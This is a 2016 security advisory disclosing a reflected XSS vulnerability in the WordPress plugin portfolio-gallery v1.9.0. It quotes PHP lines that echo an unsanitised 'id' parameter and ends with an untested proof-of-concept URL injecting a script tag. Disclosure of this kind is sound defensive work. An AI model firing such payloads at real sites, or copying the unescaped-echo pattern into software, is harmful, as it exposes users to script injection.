Advisory #: 232
Title: Reflected XSS in wordpress plugin portfolio-gallery v1.9.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/portfolio-gallery
Downloads: 399504
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: portfolio-gallery
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./portfolio-gallery/admin/portfolios_view.php: 786: <a href="admin.php?page=portfolios_huge_it_portfolio&task=portfolio_video&id=<?php echo $_GET['id']; ?>&TB_iframe=1" class="button button-primary add-video-slide thickbox" id="slideup3s" value="iframepop"> 1665: <form method="post" action="admin.php?page=portfolios_huge_it_portfolio&task=portfolio_video&id=<?php echo $_GET['id']; ?>&closepop=1" > 1688: <form method="post" action="admin.php?page=portfolios_huge_it_portfolio&task=portfolio_video&id=<?php echo $_GET['id']; ?>&thumb_parent=<?php echo $thumb_parent ; ?>&closepop=1" > The variable id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./portfolio-gallery/admin/portfolios_view.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/portfolio-gallery/admin/portfolios_view.php?id="><script>alert(1);</script><"